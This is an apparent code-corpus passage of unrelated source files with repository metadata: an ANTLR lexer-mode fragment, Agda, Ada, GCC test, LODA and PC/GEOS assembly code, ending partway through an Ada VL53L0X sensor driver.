->channel(HIDDEN),mode(CALL_DSNAME_MODE) ; mode CALL_DSNAME_MODE ; CALL_DSNAME_LPAREN : LPAREN ->type(LPAREN),pushMode(CALL_MEMBER_MODE) ; CALL_DSNAME_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; CALL_DSNAME_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),mode(DEFAULT_MODE) ; CALL_DSNAME_COMMENT_START : SLASH ASTERISK ->type(COMMENT_START),channel(COMMENTS),pushMode(CM_MODE) ; CALL_DSNAME_WS : WS ->channel(HIDDEN),mode(CALL_PGM_PARM_MODE) ; CALL_DSNAME : .+? ; mode CALL_PGM_PARM_MODE ; CALL_PGM_PARM_SQUOTE : SQUOTE ->channel(HIDDEN),pushMode(QS_MODE) ; CALL_PGM_PARM_LPAREN : LPAREN ->type(LPAREN),pushMode(CALL_MEMBER_MODE) ; CALL_PGM_PARM_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; CALL_PGM_PARM_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),mode(DEFAULT_MODE) ; CALL_PGM_PARM_COMMENT_START : SLASH ASTERISK ->type(COMMENT_START),channel(COMMENTS),pushMode(CM_MODE) ; CALL_PGM_PARM_WS : WS ->channel(HIDDEN),mode(CALL_PARM_MODE) ; mode CALL_MEMBER_MODE ; CALL_MEMBER : [a-zA-Z0-9@#$]+ ; CALL_MEMBER_RPAREN : RPAREN ->type(RPAREN),popMode ; CALL_MEMBER_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; CALL_MEMBER_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),mode(DEFAULT_MODE) ; CALL_MEMBER_COMMENT_START : SLASH ASTERISK ->type(COMMENT_START),channel(COMMENTS),pushMode(CM_MODE) ; mode CALL_PARM_MODE ; /* Check for single quote in case we find ourselves here due to whitespace in CALL_PGM_PARM_MODE prior to the program parms. */ CALL_PARM_SQUOTE : SQUOTE ->channel(HIDDEN),pushMode(QS_MODE) ; CALL_PARM_CAPS : C A P S ; CALL_PARM_ASIS : A S I S ; CALL_PARM_NOENVB : N O E N V B ; CALL_PARM_PASSENVB : P A S S E N V B ; CALL_PARM_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; CALL_PARM_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),mode(DEFAULT_MODE) ; CALL_PARM_COMMENT_START : SLASH ASTERISK ->type(COMMENT_START),channel(COMMENTS),pushMode(CM_MODE) ; CALL_PARM_WS : WS ->channel(HIDDEN) ; mode WHEN_WS_MODE ; WHEN_WS_WS : WS ->channel(HIDDEN),mode(WHEN_SYSRC_MODE) ; WHEN_WS_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN),mode(WHEN_SYSRC_MODE) ; WHEN_WS_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),mode(DEFAULT_MODE) ; WHEN_WS_COMMENT_START : SLASH ASTERISK ->type(COMMENT_START),channel(COMMENTS),pushMode(CM_MODE) ; mode WHEN_SYSRC_MODE ; WHEN_SYSRC : S Y S R C ; WHEN_SYSRC_LPAREN : LPAREN ->type(LPAREN) ; WHEN_SYSRC_OP : (OP_EQ | OP_NE | OP_GT | OP_LT | OP_GE | OP_NG | OP_LE | OP_NL) ; WHEN_SYSRC_WS : WS ->channel(HIDDEN) ; WHEN_SYSRC_INT : [0-9]+ ; WHEN_SYSRC_RPAREN : RPAREN ->type(RPAREN),mode(WHEN_WS_CMD_MODE) ; WHEN_SYSRC_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; WHEN_SYSRC_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),mode(DEFAULT_MODE) ; WHEN_SYSRC_COMMENT_START : SLASH ASTERISK ->type(COMMENT_START),channel(COMMENTS),pushMode(CM_MODE) ; mode WHEN_WS_CMD_MODE ; WHEN_WS_CMD_CONTINUATION : WS? (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN),mode(DEFAULT_MODE) ; WHEN_WS_CMD_WS : WS ->channel(HIDDEN),mode(DEFAULT_MODE) ; WHEN_WS_CMD_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),mode(DEFAULT_MODE) ;
src/MJ/Examples/While.agda
metaborg/mj.agda
10
8355
module MJ.Examples.While where open import MJ.Examples.Integer open import Prelude open import MJ.Types open import MJ.Classtable.Code Σ open import MJ.Syntax Σ open import MJ.Syntax.Program Σ open import MJ.Semantics Σ Lib open import MJ.Semantics.Values Σ open import Data.List.Any open import Data.List.Membership.Propositional open import Data.Star open import Data.Bool as Bools hiding (_≤?_) open import Relation.Nullary.Decidable -- a simple program that computes 10 using a while loop p₁ : Prog int p₁ = Lib , let x = (here refl) in body ( loc int ◅ asgn x (num 1) ◅ while iop (λ x y → Bools.if ⌊ suc x ≤? y ⌋ then 0 else 1) (var x) (num 10) run ( asgn x (iop (λ x y → x + y) (var x) (num 1)) ) -- test simplest if-then-else and early return from statement ◅ if (num 0) then (ret (var x)) else (ret (num 0)) ◅ ε ) (num 0) test1 : p₁ ⇓⟨ 100 ⟩ (λ {W} (v : Val W int) → v ≡ num 10) test1 = refl
Ada/Benchmark/src/primes.adb
kkirstein/proglang-playground
0
6693
with Ada.Numerics.Elementary_Functions; use Ada.Numerics.Elementary_Functions; with Ada.Numerics.Big_Numbers.Big_Integers; use Ada.Numerics.Big_Numbers.Big_Integers; package body Primes is function Is_Prime (N : Natural) return Boolean is Limit : constant Natural := Natural (Sqrt (Float (N))); begin if N < 2 then return False; end if; for I in 2 .. Limit loop if N mod I = 0 then return False; end if; end loop; return True; end Is_Prime; function Is_Prime (N : Big_Natural) return Boolean is Limit : constant Big_Natural := N / To_Big_Integer (2); I : Big_Natural := To_Big_Integer (2); begin if N < To_Big_Integer (2) then return False; end if; while I < Limit loop if N mod I = To_Big_Integer (0) then return False; end if; I := I + To_Big_Integer (1); end loop; return True; end Is_Prime; function Get_Primes (Limit : Natural) return Prime_Vectors.Vector is Result : Prime_Vectors.Vector; begin for I in 2 .. Limit loop if Is_Prime (I) then Result.Append (I); end if; end loop; return Result; end Get_Primes; function Get_Primes (Limit : Big_Natural) return Big_Prime_Vectors.Vector is I : Big_Natural := To_Big_Integer (2); Result : Big_Prime_Vectors.Vector; begin while I < Limit loop null; I := I + To_Big_Integer (1); if Is_Prime (I) then Result.Append (I); end if; end loop; return Result; end Get_Primes; end Primes;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/bit_packed_array2.adb
best08618/asylo
7
14402
<reponame>best08618/asylo -- { dg-do compile } -- { dg-options "-gnatws" } procedure Bit_Packed_Array2 is type Bit_Array is array (integer range <>) of Boolean; pragma Pack(Bit_Array); b1 : Bit_Array(1..64); b2 : Bit_array(1..64); res : Bit_array(1..64); begin if (not((not b1) or (not b2))) /= res then null; end if; end;
programs/oeis/000/A000093.asm
jmorken/loda
1
95723
; A000093: a(n) = floor(n^(3/2)). ; 0,1,2,5,8,11,14,18,22,27,31,36,41,46,52,58,64,70,76,82,89,96,103,110,117,125,132,140,148,156,164,172,181,189,198,207,216,225,234,243,252,262,272,281,291,301,311,322,332,343,353,364,374,385,396,407,419,430,441,453,464,476,488,500,512,524,536,548,560,573,585,598,610,623,636,649,662,675,688,702,715,729,742,756,769,783,797,811,825,839,853,868,882,896,911,925,940,955,970,985,1000,1015,1030,1045,1060,1075,1091,1106,1122,1137,1153,1169,1185,1201,1217,1233,1249,1265,1281,1298,1314,1331,1347,1364,1380,1397,1414,1431,1448,1465,1482,1499,1516,1533,1551,1568,1586,1603,1621,1638,1656,1674,1692,1710,1728,1746,1764,1782,1800,1818,1837,1855,1873,1892,1911,1929,1948,1967,1986,2004,2023,2042,2061,2081,2100,2119,2138,2158,2177,2197,2216,2236,2255,2275,2295,2315,2334,2354,2374,2394,2414,2435,2455,2475,2495,2516,2536,2557,2577,2598,2618,2639,2660,2681,2702,2723,2744,2765,2786,2807,2828,2849,2870,2892,2913,2935,2956,2978,2999,3021,3043,3064,3086,3108,3130,3152,3174,3196,3218,3240,3263,3285,3307,3330,3352,3375,3397,3420,3442,3465,3488,3510,3533,3556,3579,3602,3625,3648,3671,3694,3718,3741,3764,3787,3811,3834,3858,3881,3905,3929 pow $0,3 lpb $0 add $1,2 sub $0,$1 trn $0,1 lpe div $1,2
Appl/dil/bbxmail/asmcode/stylesStack.asm
steakknife/pcgeos
504
17579
<gh_stars>100-1000 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Designs in Light 2002 -- All Rights Reserved PROJECT: Mail FILE: stylesStack.asm AUTHOR: <NAME> DESCRIPTION: A small stack for saving state about style information when parsing HTML/rich-text documents $Id$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ udata segment styleStack hptr udata ends AsmCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StyleStackInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: initialize the style stack CALLED BY: FilterMailStyles (C) PASS: none RETURN: none DESTROYED: ax, bx, cx %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ STYLE_STACK_CHUNK equ (size LMemBlockHeader) STYLESTACKINIT proc far uses ds .enter segmov ds, udata, bx EC < tst ds:styleStack ;> EC < ERROR_NZ -1 ;> mov ax, LMEM_TYPE_GENERAL ;ax <- LMemType clr cx ;cx <- extra header call MemAllocLMem mov ds:styleStack, bx call MemLock mov ds, ax clr cx ;cx <- size call LMemAlloc EC < cmp ax, STYLE_STACK_CHUNK ;> EC < ERROR_NE -1 ;> call MemUnlock .leave ret STYLESTACKINIT endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StyleStackFree %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: free the style stack CALLED BY: FilterMailStyles (C) PASS: none RETURN: none DESTROYED: bx %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ STYLESTACKFREE proc far uses ds .enter segmov ds, udata, bx clr bx ;clear old xchg bx, ds:styleStack ;bx <- stack handle EC < tst bx ;> EC < ERROR_Z -1 ;> call MemFree .leave ret STYLESTACKFREE endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StyleStackLock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: lock the style stack CALLED BY: UTILITY PASS: none RETURN: ds - seg addr of style stack DESTROYED: none %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StyleStackLock proc near uses ax, bx .enter segmov ds, udata, bx mov bx, ds:styleStack call MemLock mov ds, ax ;ds <- seg of stack .leave ret StyleStackLock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StyleStackUnlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: unlock the style stack CALLED BY: UTILITY PASS: none RETURN: none DESTROYED: none (flags preserved) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StyleStackUnlock proc near uses bx, ds .enter segmov ds, udata, bx mov bx, ds:styleStack call MemUnlock .leave ret StyleStackUnlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StyleStackPush %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Push data on the style stack CALLED BY: UTILITY PASS: al - StyleStackTag ah - size (0-6) bx, cx, dx - data as needed RETURN: none DESTROYED: none %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StyleStackPush proc near uses ax, ds, es, si, di .enter call StyleStackLock ; ; insert space at the end start of the chunk ; push ax, bx, cx mov cl, ah add cl, (size StyleStackElement) clr ch ;cx <- size to add mov ax, STYLE_STACK_CHUNK ;*ds:ax <- chunk clr bx ;bx <- offset call LMemInsertAt pop ax, bx, cx ; ; copy the data as needed ; mov si, ds:[STYLE_STACK_CHUNK] ;ds:si <- ptr to chunk mov ds:[si], ax ;store tag, size segmov es, ds lea di, ds:[si].SSE_data ;es:di <- ptr to data tst ah jz done ;branch if done mov al, bl stosb ;store bl dec ah ;ah <- 1 less byte jz done ;branch if done mov al, bh stosb ;store bh dec ah ;ah <- 1 less byte jz done ;branch if done mov al, cl stosb ;store cl dec ah ;ah <- 1 less byte jz done ;branch if done mov al, ch stosb ;store ch dec ah ;ah <- 1 less byte jz done ;branch if done mov al, dl stosb ;store dl dec ah ;ah <- 1 less byte jz done ;branch if done mov al, dh stosb ;store dh EC < dec ah ;> EC < ERROR_NZ -1 ;> done: call StyleStackUnlock .leave ret StyleStackPush endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StyleStackPop %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Pop data from the style stack CALLED BY: UTILITY PASS: al - StyleStackTag RETURN: bx, cx, dx - data as needed carry - set if tag not found DESTROYED: none %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StyleStackPop proc near uses ds, si, di .enter call StyleStackLock mov si, STYLE_STACK_CHUNK ;*ds:si <- chunk push bx, cx ChunkSizeHandle ds, si, cx ;cx <- size of chunk LONG jcxz notFoundPop ;branch if no data mov si, ds:[si] ;ds:si <- chunk clr di ;di <- offset ; ; find the first matching tag ; findLoop: cmp ds:[si].SSE_type, al ;right tag? je foundTag ;branch if found tag mov bl, ds:[si].SSE_size add bl, (size StyleStackElement) clr bh ;bx <- element size add si, bx ;ds:si <- ptr to next add di, bx ;di <- next offset sub cx, bx ;cx <- # bytes left jz notFoundPop ;branch if none left EC < ERROR_C -1 ;die if underflow > jmp findLoop foundTag: pop bx, cx ; ; found the tag, get the data ; mov ah, ds:[si].SSE_size ;ah <- size push ax add si, (size StyleStackElement) ;ds:si <- data tst ah jz doneData ;branch if done lodsb mov bl, al ;bl <- byte #1 dec ah ;ah <- one less byte jz doneData ;branch if done lodsb mov bh, al ;bh <- byte #2 dec ah ;ah <- one less byte jz doneData ;branch if done lodsb mov cl, al ;cl <- byte #3 dec ah ;ah <- one less byte jz doneData ;branch if done lodsb mov ch, al ;ch <- byte #4 dec ah ;ah <- one less byte jz doneData ;branch if done lodsb mov dl, al ;dl <- byte #5 dec ah ;ah <- one less byte jz doneData ;branch if done lodsb mov dh, al ;dh <- byte #6 EC < dec ah ;> EC < ERROR_NZ -1 ;> doneData: pop ax ;ah <- size ; ; delete the space ; push bx, cx, dx mov cl, ah clr ch ;cx <- # bytes data add cx, (size StyleStackElement) ;cx <- # bytes total mov ax, STYLE_STACK_CHUNK ;ax <- chunk mov bx, di ;bx <- offset call LMemDeleteAt pop bx, cx, dx clc ;carry <- found done: call StyleStackUnlock .leave ret notFoundPop: pop bx, cx stc ;carry <- not found jmp done StyleStackPop endp AsmCode ends
2-low/collada/source/collada-library-visual_scenes.ads
charlie5/lace
20
18621
package collada.Library.visual_scenes -- -- Models a collada 'visual_scenes' library, which contains node/joint hierachy info. -- is ------------ -- Transform -- type transform_Kind is (Translate, Rotate, Scale, full_Transform); type Transform (Kind : transform_Kind := transform_Kind'First) is record Sid : Text; case Kind is when Translate => Vector : Vector_3; when Rotate => Axis : Vector_3; Angle : math.Real; when Scale => Scale : Vector_3; when full_Transform => Matrix : Matrix_4x4; end case; end record; type Transform_array is array (Positive range <>) of aliased Transform; function to_Matrix (Self : in Transform) return collada.Matrix_4x4; -------- --- Node -- type Node is tagged private; type Node_view is access all Node; type Nodes is array (Positive range <>) of Node_view; function Sid (Self : in Node) return Text; function Id (Self : in Node) return Text; function Name (Self : in Node) return Text; procedure Sid_is (Self : in out Node; Now : in Text); procedure Id_is (Self : in out Node; Now : in Text); procedure Name_is (Self : in out Node; Now : in Text); procedure add (Self : in out Node; the_Transform : in Transform); function Transforms (Self : in Node) return Transform_array; function fetch_Transform (Self : access Node; transform_Sid : in String) return access Transform; function local_Transform (Self : in Node) return Matrix_4x4; -- -- Returns the result of combining all 'Transforms'. function global_Transform (Self : in Node) return Matrix_4x4; -- -- Returns the result of combining 'local_Transform' with each ancestors 'local_Transform'. function full_Transform (Self : in Node) return Matrix_4x4; function Translation (Self : in Node) return Vector_3; function Rotate_Z (Self : in Node) return Vector_4; function Rotate_Y (Self : in Node) return Vector_4; function Rotate_X (Self : in Node) return Vector_4; function Scale (Self : in Node) return Vector_3; procedure set_x_rotation_Angle (Self : in out Node; To : in math.Real); procedure set_y_rotation_Angle (Self : in out Node; To : in math.Real); procedure set_z_rotation_Angle (Self : in out Node; To : in math.Real); procedure set_Location (Self : in out Node; To : in math.Vector_3); procedure set_Location_x (Self : in out Node; To : in math.Real); procedure set_Location_y (Self : in out Node; To : in math.Real); procedure set_Location_z (Self : in out Node; To : in math.Real); procedure set_Transform (Self : in out Node; To : in math.Matrix_4x4); function Parent (Self : in Node) return Node_view; procedure Parent_is (Self : in out Node; Now : Node_view); function Children (Self : in Node) return Nodes; function Child (Self : in Node; Which : in Positive) return Node_view; function Child (Self : in Node; Named : in String ) return Node_view; procedure add (Self : in out Node; the_Child : in Node_view); Transform_not_found : exception; ---------------- --- visual_Scene -- type visual_Scene is record Id : Text; Name : Text; root_Node : Node_view; end record; type visual_Scene_array is array (Positive range <>) of visual_Scene; ---------------- --- Library Item -- type Item is record Contents : access visual_Scene_array; skeletal_Root : Text; end record; private type Transform_array_view is access all Transform_array; type Nodes_view is access all Nodes; type Node is tagged record Sid : Text; Id : Text; Name : Text; Transforms : Transform_array_view; Parent : Node_view; Children : Nodes_view; end record; end collada.Library.visual_scenes;
3-mid/impact/source/3d/math/impact-d3-min_max.adb
charlie5/lace
20
29670
<filename>3-mid/impact/source/3d/math/impact-d3-min_max.adb package body impact.d3.min_max is function btClamped (a : in Real; lower_Bound, upper_Bound : in Real) return Real is begin if a < lower_Bound then return lower_Bound; elsif upper_Bound < a then return upper_Bound; else return a; end if; end btClamped; procedure btSetMin (a : in out Real; b : in Real) is begin if b < a then a := b; end if; end btSetMin; procedure btSetMax (a : in out Real; b : in Real) is begin if a < b then a := b; end if; end btSetMax; procedure btClamp (a : in out Real; lower_Bound, upper_Bound : in Real) is begin if a < lower_Bound then a := lower_Bound; elsif upper_Bound < a then a := upper_Bound; end if; end btClamp; end impact.d3.min_max;
components/src/range_sensor/VL53L0X/vl53l0x.adb
rocher/Ada_Drivers_Library
192
3646
<gh_stars>100-1000 ------------------------------------------------------------------------------ -- -- -- Copyright (C) 2017, 2020, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of STMicroelectronics nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- -- -- -- This file is based on X-CUBE-53L0A1 STM32Cube expansion, with some -- -- input from Crazyflie source. -- -- -- -- COPYRIGHT(c) 2016 STMicroelectronics -- ------------------------------------------------------------------------------ with Ada.Unchecked_Conversion; with HAL; use HAL; package body VL53L0X is Start_Overhead : constant := 1910; End_Overhead : constant := 960; Msrc_Overhead : constant := 660; Tcc_Overhead : constant := 590; Dss_Overhead : constant := 690; Pre_Range_Overhead : constant := 660; Final_Range_Overhead : constant := 550; function Decode_Timeout (Encoded : UInt16) return UInt32; function Encode_Timeout (Timeout : UInt32) return UInt16; function To_Timeout_Microseconds (Timeout_Period_Mclks : UInt32; VCSel_Period_Pclks : UInt8) return UInt32; function To_Timeout_Mclks (Timeout_Period_us : UInt32; VCSel_Period_Pclks : UInt8) return UInt32; procedure Perform_Single_Ref_Calibration (This : VL53L0X_Ranging_Sensor; VHV_Init : UInt8; Status : out Boolean); ---------------------------- -- Get_GPIO_Functionality -- ---------------------------- function Get_GPIO_Functionality (This : VL53L0X_Ranging_Sensor) return VL53L0X_GPIO_Functionality is Data : UInt8; Status : Boolean; Result : VL53L0X_GPIO_Functionality := No_Interrupt; begin Read (This, REG_SYSTEM_INTERRUPT_CONFIG_GPIO, Data, Status); if Status and then Data in 1 .. 4 then case Data is when 1 => Result := Level_Low; when 2 => Result := Level_High; when 3 => Result := Out_Of_Window; when 4 => Result := New_Sample_Ready; when others => null; end case; end if; return Result; end Get_GPIO_Functionality; --------------- -- I2C_Write -- --------------- procedure I2C_Write (This : VL53L0X_Ranging_Sensor; Data : HAL.UInt8_Array; Status : out Boolean) is use type HAL.I2C.I2C_Status; Ret : HAL.I2C.I2C_Status; begin HAL.I2C.Master_Transmit (This => This.Port.all, Addr => This.I2C_Address, Data => Data, Status => Ret); Status := Ret = HAL.I2C.Ok; end I2C_Write; -------------- -- I2C_Read -- -------------- procedure I2C_Read (This : VL53L0X_Ranging_Sensor; Data : out HAL.UInt8_Array; Status : out Boolean) is use type HAL.I2C.I2C_Status; Ret : HAL.I2C.I2C_Status; begin HAL.I2C.Master_Receive (This => This.Port.all, Addr => This.I2C_Address, Data => Data, Status => Ret); Status := Ret = HAL.I2C.Ok; end I2C_Read; ----------- -- Write -- ----------- procedure Write (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : HAL.UInt8_Array; Status : out Boolean) is Buf : constant HAL.UInt8_Array := (1 => Index) & Data; begin I2C_Write (This, Buf, Status); end Write; ----------- -- Write -- ----------- procedure Write (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : HAL.UInt8; Status : out Boolean) is begin I2C_Write (This, (Index, Data), Status); end Write; ----------- -- Write -- ----------- procedure Write (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : HAL.UInt16; Status : out Boolean) is begin I2C_Write (This, (Index, HAL.UInt8 (Shift_Right (Data, 8)), HAL.UInt8 (Data and 16#FF#)), Status); end Write; ----------- -- Write -- ----------- procedure Write (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : HAL.UInt32; Status : out Boolean) is begin I2C_Write (This, (Index, HAL.UInt8 (Shift_Right (Data, 24)), HAL.UInt8 (Shift_Right (Data, 16) and 16#FF#), HAL.UInt8 (Shift_Right (Data, 8) and 16#FF#), HAL.UInt8 (Data and 16#FF#)), Status); end Write; ---------- -- Read -- ---------- procedure Read (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : out HAL.UInt8_Array; Status : out Boolean) is begin I2C_Write (This, (1 => Index), Status); if Status then I2C_Read (This, Data, Status); end if; end Read; ---------- -- Read -- ---------- procedure Read (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : out HAL.UInt8; Status : out Boolean) is Buf : UInt8_Array (1 .. 1); begin I2C_Write (This, (1 => Index), Status); if Status then I2C_Read (This, Buf, Status); Data := Buf (1); end if; end Read; ---------- -- Read -- ---------- procedure Read (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : out HAL.UInt16; Status : out Boolean) is Buf : UInt8_Array (1 .. 2); begin I2C_Write (This, (1 => Index), Status); if Status then I2C_Read (This, Buf, Status); Data := Shift_Left (UInt16 (Buf (1)), 8) or UInt16 (Buf (2)); end if; end Read; ---------- -- Read -- ---------- procedure Read (This : VL53L0X_Ranging_Sensor; Index : HAL.UInt8; Data : out HAL.UInt32; Status : out Boolean) is Buf : UInt8_Array (1 .. 4); begin I2C_Write (This, (1 => Index), Status); if Status then I2C_Read (This, Buf, Status); Data := Shift_Left (UInt32 (Buf (1)), 24) or Shift_Left (UInt32 (Buf (2)), 16) or Shift_Left (UInt32 (Buf (3)), 8) or UInt32 (Buf (4)); end if; end Read; -------------------- -- Decode_Timeout -- -------------------- function Decode_Timeout (Encoded : UInt16) return UInt32 is LSByte : constant UInt32 := UInt32 (Encoded and 16#00_FF#); MSByte : constant Natural := Natural (Shift_Right (Encoded and 16#FF_00#, 8)); begin return LSByte * 2 ** MSByte + 1; end Decode_Timeout; -------------------- -- Encode_Timeout -- -------------------- function Encode_Timeout (Timeout : UInt32) return UInt16 is LSByte : UInt32; MSByte : UInt32 := 0; begin LSByte := Timeout - 1; while (LSByte and 16#FFFF_FF00#) > 0 loop LSByte := Shift_Right (LSByte, 1); MSByte := MSByte + 1; end loop; return UInt16 (Shift_Left (MSByte, 8) or LSByte); end Encode_Timeout; ---------------------- -- To_Timeout_Mclks -- ---------------------- function To_Timeout_Mclks (Timeout_Period_us : UInt32; VCSel_Period_Pclks : UInt8) return UInt32 is PLL_Period_Ps : constant := 1655; Macro_Period_Vclks : constant := 2304; Macro_Period_Ps : UInt32; Macro_Period_Ns : UInt32; begin Macro_Period_Ps := UInt32 (VCSel_Period_Pclks) * PLL_Period_Ps * Macro_Period_Vclks; Macro_Period_Ns := (Macro_Period_Ps + 500) / 1000; return (Timeout_Period_us * 1000 + Macro_Period_Ns / 2) / Macro_Period_Ns; end To_Timeout_Mclks; ----------------------------- -- To_Timeout_Microseconds -- ----------------------------- function To_Timeout_Microseconds (Timeout_Period_Mclks : UInt32; VCSel_Period_Pclks : UInt8) return UInt32 is PLL_Period_Ps : constant := 1655; Macro_Period_Vclks : constant := 2304; Macro_Period_Ps : UInt32; Macro_Period_Ns : UInt32; begin Macro_Period_Ps := UInt32 (VCSel_Period_Pclks) * PLL_Period_Ps * Macro_Period_Vclks; Macro_Period_Ns := (Macro_Period_Ps + 500) / 1000; return (Timeout_Period_Mclks * Macro_Period_Ns + 500) / 1000; end To_Timeout_Microseconds; ---------------- -- Initialize -- ---------------- procedure Initialize (This : in out VL53L0X_Ranging_Sensor) is begin This.I2C_Address := 16#52#; end Initialize; ------------- -- Read_Id -- ------------- function Read_Id (This : VL53L0X_Ranging_Sensor) return HAL.UInt16 is Ret : UInt16; Status : Boolean; begin Read (This, REG_IDENTIFICATION_MODEL_ID, Ret, Status); if not Status then return 0; else return Ret; end if; end Read_Id; ------------------- -- Read_Revision -- ------------------- function Read_Revision (This : VL53L0X_Ranging_Sensor) return HAL.UInt8 is Ret : UInt8; Status : Boolean; begin Read (This, REG_IDENTIFICATION_REVISION_ID, Ret, Status); if not Status then return 0; else return Ret; end if; end Read_Revision; ------------------------ -- Set_Device_Address -- ------------------------ procedure Set_Device_Address (This : in out VL53L0X_Ranging_Sensor; Addr : HAL.I2C.I2C_Address; Status : out Boolean) is begin Write (This, REG_I2C_SLAVE_DEVICE_ADDRESS, UInt8 (Addr / 2), Status); if Status then This.I2C_Address := Addr; end if; end Set_Device_Address; --------------- -- Data_Init -- --------------- procedure Data_Init (This : in out VL53L0X_Ranging_Sensor; Status : out Boolean) is Regval : UInt8; begin -- Set I2C Standard mode Write (This, 16#88#, UInt8'(16#00#), Status); if not Status then return; end if; -- This.Device_Specific_Params.Read_Data_From_Device_Done := False; -- -- -- Set default static parameters: -- -- set first temporary value 9.44MHz * 65536 = 618_660 -- This.Device_Specific_Params.Osc_Frequency := 618_660; -- -- -- Set default cross talk compenstation rate to 0 -- This.Device_Params.X_Talk_Compensation_Rate_Mcps := 0.0; -- -- This.Device_Params.Device_Mode := Single_Ranging; -- This.Device_Params.Histogram_Mode := 